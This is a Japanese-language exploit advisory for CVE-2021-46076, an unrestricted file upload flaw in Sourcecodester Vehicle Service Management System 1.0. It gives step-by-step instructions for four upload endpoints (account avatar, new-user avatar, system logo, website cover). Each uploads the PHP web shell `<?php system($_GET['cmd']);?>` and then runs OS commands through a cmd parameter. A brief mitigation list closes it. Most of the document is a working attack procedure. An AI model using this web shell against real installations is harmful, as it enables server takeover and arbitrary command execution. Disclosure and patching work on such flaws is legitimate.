CVE-2021-46076
エクスプロイトタイトル: Vehicle Service Management System - 複数のファイルアップロードによるコード実行
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
参考文献:
説明:
Sourcecodester Vehicle Service Management System 1.0 はファイルアップロードに対して脆弱です。攻撃者は複数のエンドポイントで悪意のある PHP ファイルをアップロードでき、コード実行につながります。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします。
- マイアカウントセクション http://localhost/vehicle_service/admin/?page=user に移動します。
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)。
- マイアカウントセクションで必要な詳細をすべて入力し、アバターに PHP ファイルを選択します。
- 更新ボタンをクリックします。
- 新しいタブでアバター画像を開きます。
- URL に cmd パラメータを追加し、コマンドを実行します。
- 最終的な URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- システムコマンドを実行します(例: id, whoami, pwd など)。
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします。
- ユーザーリストセクションに移動し、「Create New」ボタンをクリックします。
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)。
- 「Create New User」ページで必要な詳細をすべて入力し、アバターに PHP ファイルを選択します。
- 「保存」ボタンをクリックします。
- 新しいタブでアバター画像を開きます。
- URL に cmd パラメータを追加し、コマンドを実行します。
- 最終的な URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- システムコマンドを実行します(例: id, whoami, pwd など)。
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします。
- 設定セクション http://localhost/vehicle_service/admin/?page=system_info に移動します。
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)。
- 設定セクションで必要な詳細をすべて入力し、システムロゴに PHP ファイルを選択します。
- 更新ボタンをクリックします。
- 新しいタブでシステムロゴ画像を開きます。
- URL に cmd パラメータを追加し、コマンドを実行します。
- 最終的な URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- システムコマンドを実行します(例: id, whoami, pwd など)。
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします。
- 設定セクション http://localhost/vehicle_service/admin/?page=system_info に移動します。
ペイロード:
<?php system($_GET['cmd']);?>
- 上記の PHP コードを保存します(例: Cmd.php)。
- 設定セクションで必要な詳細をすべて入力し、ウェブサイトカバーに PHP ファイルを選択します。
- 更新ボタンをクリックします。
- 新しいタブでウェブサイトカバー画像を開きます。
- URL に cmd パラメータを追加し、コマンドを実行します。
- 最終的な URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- システムコマンドを実行します(例: id, whoami, pwd など)。
影響:
攻撃者は複数のエンドポイントで悪意のある PHP ファイルをアップロードでき、コード実行につながります。
緩和策:
以下の対策を実施することを推奨します:
- ホワイトリストフィルタなしにファイル名とその拡張子を直接受け入れないこと。
- Unicode 文字が必要ない場合は、ファイル名と拡張子の入力として英数字とドット 1 つのみを受け入れることを強く推奨します。
- サービス拒否攻撃を防ぐため、ファイルサイズを最大値に制限すること。
- アップロードディレクトリには「実行」権限を設定しないこと。
- クライアント側の検証のみに依存しないこと。